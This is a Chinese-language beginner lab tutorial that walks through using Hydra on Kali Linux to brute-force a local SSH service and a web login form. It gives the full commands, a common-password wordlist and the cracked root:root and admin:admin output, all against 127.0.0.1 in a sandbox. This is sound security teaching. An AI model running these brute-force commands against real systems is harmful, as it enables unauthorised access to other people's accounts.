使用 Hydra 进行 Kali 密码攻击

Kali LinuxBeginner
立即练习

介绍

在本实验中,你将学习使用 Kali Linux 进行道德黑客攻击的基础知识,并利用 Hydra 这一强大的暴力破解工具来探索密码攻击技术。本实验的重点是理解此类攻击的工作原理,以及为什么强密码和安全的系统配置至关重要。你将在受控的 LabEx 虚拟机环境中模拟针对 SSH 凭据和 Web 登录的攻击,确保在一个安全且合法的空间内进行练习。通过分步指导,你将创建密码字典(wordlists)、执行暴力破解攻击并记录结果以供分析。所有任务都在自动配置好的 Kali Linux 容器中进行,即使是完全的初学者也能轻松上手。

这是一个引导实验,提供了分步说明来帮助你学习和练习。请仔细遵循说明完成每个步骤并获得实践经验。历史数据表明,这是一个初学者级别的实验,完成率为 100%。它获得了学习者 100% 的好评率。

环境准备与安装 Hydra

在第一步中,你将在 Kali Linux 容器内准备工作环境,并安装用于密码攻击的工具 Hydra。当你打开终端时,你会自动进入 Kali Linux 容器的 Shell,因此无需手动设置。

首先,通过检查操作系统详情来确认你处于 Kali Linux 环境中。

cat /etc/os-release

你应该会看到确认正在运行 Kali Linux 的输出。

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2025.3"
VERSION="2025.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"

接下来,更新软件包列表以确保你可以获取最新的软件版本。

apt update

现在,安装 Hydra。Hydra 是一款功能强大的暴力破解工具,支持多种协议。-y 参数会自动确认安装。

apt install -y hydra

安装完成后,通过显示其帮助菜单来验证 Hydra 是否已就绪。

hydra -h

输出将显示 Hydra 的版本和使用语法,确认其已正确安装。

Hydra v9.x (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] ...
...

最后,启动在环境初始化期间预配置的 SSH 服务。这将为我们的暴力破解攻击模拟提供一个目标。

service ssh start

你可以通过检查状态来验证 SSH 服务是否正在运行。

service ssh status

你应该会看到表明 SSH 服务处于活动(active)且正在运行的输出。

sshd is running.

你现在已成功设置了环境,安装了 Hydra,并为攻击模拟启动了 SSH 服务。

为暴力破解攻击创建字典

字典(Wordlist)是一个包含潜在密码的纯文本文件,像 Hydra 这样的工具会利用它尝试获取目标的访问权限。在这一步中,你将为模拟攻击创建一个简单的自定义字典。

你将使用 nano 文本编辑器创建一个名为 passwords.txt 的文件。

首先,安装 nano 文本编辑器。

apt install -y nano

现在,创建字典文件。

nano passwords.txt

此命令会在 nano 编辑器中打开一个新文件。在编辑器中输入以下常用密码,每个密码占一行。

admin
password
123456
test
root

要保存文件,请按 Ctrl+O,然后按 Enter 确认文件名。要退出 nano,请按 Ctrl+X

现在,通过列出当前目录的内容来验证文件是否已创建。

ls

你应该在输出中看到 passwords.txt,这确认了你的字典已准备好在接下来的步骤中使用。

passwords.txt

对 SSH 执行成功的暴力破解攻击

现在,你将使用 Hydra 和你的字典对本地系统上运行的 SSH(安全外壳)服务执行暴力破解攻击。SSH 是用于安全远程管理的常用协议。在环境设置期间,我们配置了一个使用弱密码的 SSH 服务器,该密码存在于我们的字典中,这使得本次演示能够真实地反映此类攻击的工作原理。

执行以下命令开始暴力破解攻击。

hydra -l root -P passwords.txt ssh://127.0.0.1

让我们分解一下这个命令:

  • -l root:此参数指定要测试的单个用户名,即 root
  • -P passwords.txt:此参数告诉 Hydra 使用 passwords.txt 文件作为密码来源。
  • ssh://127.0.0.1:这指定了目标服务(SSH)和目标主机(127.0.0.1)。

由于我们已将 SSH 服务器的 root 用户密码配置为 root(该密码存在于我们的字典中),Hydra 将成功找到凭据。

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1   login: root   password: root
1 of 1 target successfully completed, 1 valid password found

恭喜!攻击成功。Hydra 发现用户名 root 配合密码 root 可以成功访问 SSH 服务。这证明了弱密码是多么容易被暴力破解工具发现。

对 Web 登录表单执行成功的暴力破解攻击

接下来,你将对 Web 登录表单执行攻击。这是暴力破解攻击的另一个常见目标。在环境设置期间,我们配置了一个简单的 Apache Web 服务器,其中包含一个易受攻击的登录页面,该页面接受凭据 admin:admin

首先,让我们通过启动 Web 服务器来确保它正在运行:

service apache2 start

现在运行以下命令执行 Web 登录攻击。

hydra -l admin -P passwords.txt http-post-form://127.0.0.1/login.php:'user=^USER^&pass=^PASS^:F=Incorrect'

让我们检查一下这个命令的组成部分:

  • -l admin:指定用户名 admin
  • -P passwords.txt:使用你的密码字典。
  • http-post-form://127.0.0.1/login.php:指定目标协议和我们创建的实际登录页面。
  • 'user=^USER^&pass=^PASS^:F=Incorrect':这是 Web 攻击模块的核心。
    • user=^USER^&pass=^PASS^:定义表单字段。Hydra 会将 ^USER^^PASS^ 替换为它正在测试的凭据。
    • :F=Incorrect:告诉 Hydra,如果在服务器的响应中找到「Incorrect」一词,则表示登录尝试失败。

由于我们的 Web 应用程序配置为接受 admin:admin(存在于我们的字典中),Hydra 将成功找到凭据。

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-02 01:33:09
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking http-post-form://127.0.0.1:80/login.php:user=^USER^&pass=^PASS^:F=Incorrect
[80][http-post-form] host: 127.0.0.1   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found

太棒了!Web 攻击也成功了。这展示了 Hydra 如何适应不同的服务,包括带有漏洞登录表单的 Web 应用程序。

记录成功的暴力破解攻击结果

在最后一步中,你将学习如何记录 Hydra 攻击成功的输出。在渗透测试或安全审计期间,记录发现结果是一项至关重要的实践。

你将重新运行步骤 3 中的 SSH 攻击,但这次你会将结果保存到文件中。

hydra -l root -P passwords.txt ssh://127.0.0.1 -o attack_log.txt

该命令的新增部分是:

  • -o attack_log.txt:此参数指示 Hydra 将其输出保存到指定的文件 attack_log.txt 中。

命令运行后会在屏幕上显示成功的攻击结果,同时也会创建一个详细的日志文件。

要查看日志文件的内容,请使用 cat 命令。

cat attack_log.txt

日志文件将包含成功攻击运行的摘要,包括发现的凭据。

## Hydra v9.x run at 2025-09-02 01:33:36 on 127.0.0.1 ssh (hydra -l root -P passwords.txt -o attack_log.txt ssh://127.0.0.1)
[22][ssh] host: 127.0.0.1   login: root   password: root

非常出色!日志文件清晰地显示了 Hydra 成功发现了 SSH 服务的凭据 root:root。这种详细的日志记录对于以下方面至关重要:

  1. 文档记录:保留成功渗透测试的记录。
  2. 报告编写:向客户或管理层提供证据。
  3. 分析:审查攻击模式和成功率。
  4. 合规性:满足安全审计要求。

你现在已经学习了如何保存 Hydra 攻击的结果,展示了成功的凭据发现以及道德黑客攻击中规范的文档记录实践。

总结

在本实验中,你通过在 Kali Linux 容器中使用 Hydra 执行真实的密码攻击,成功学习了道德黑客的基础知识。你从安装 Hydra 和设置易受攻击的服务(SSH 和 Web 服务器)开始,然后创建了一个包含弱密码的自定义字典。通过动手实践,你成功执行了针对 SSH 凭据和 Web 登录表单的暴力破解攻击,见证了弱密码被破解的速度有多快。最后,你学习了如何记录攻击结果以便进行规范的文档记录和分析。

本实验的关键要点:

  1. 弱密码极易被破解 —— root:rootadmin:admin 都能被迅速发现。
  2. 存在多种攻击向量 —— SSH 服务和 Web 应用程序都是常见的攻击目标。
  3. 规范的文档记录至关重要 —— 记录结果是渗透测试中不可或缺的一部分。
  4. 防御意识 —— 了解攻击手段有助于实施更好的安全措施。

这些实践技能为理解暴力破解攻击的真实机制奠定了坚实基础,并展示了在防御此类攻击时,强密码、账户锁定策略以及安全的系统配置是多么重要。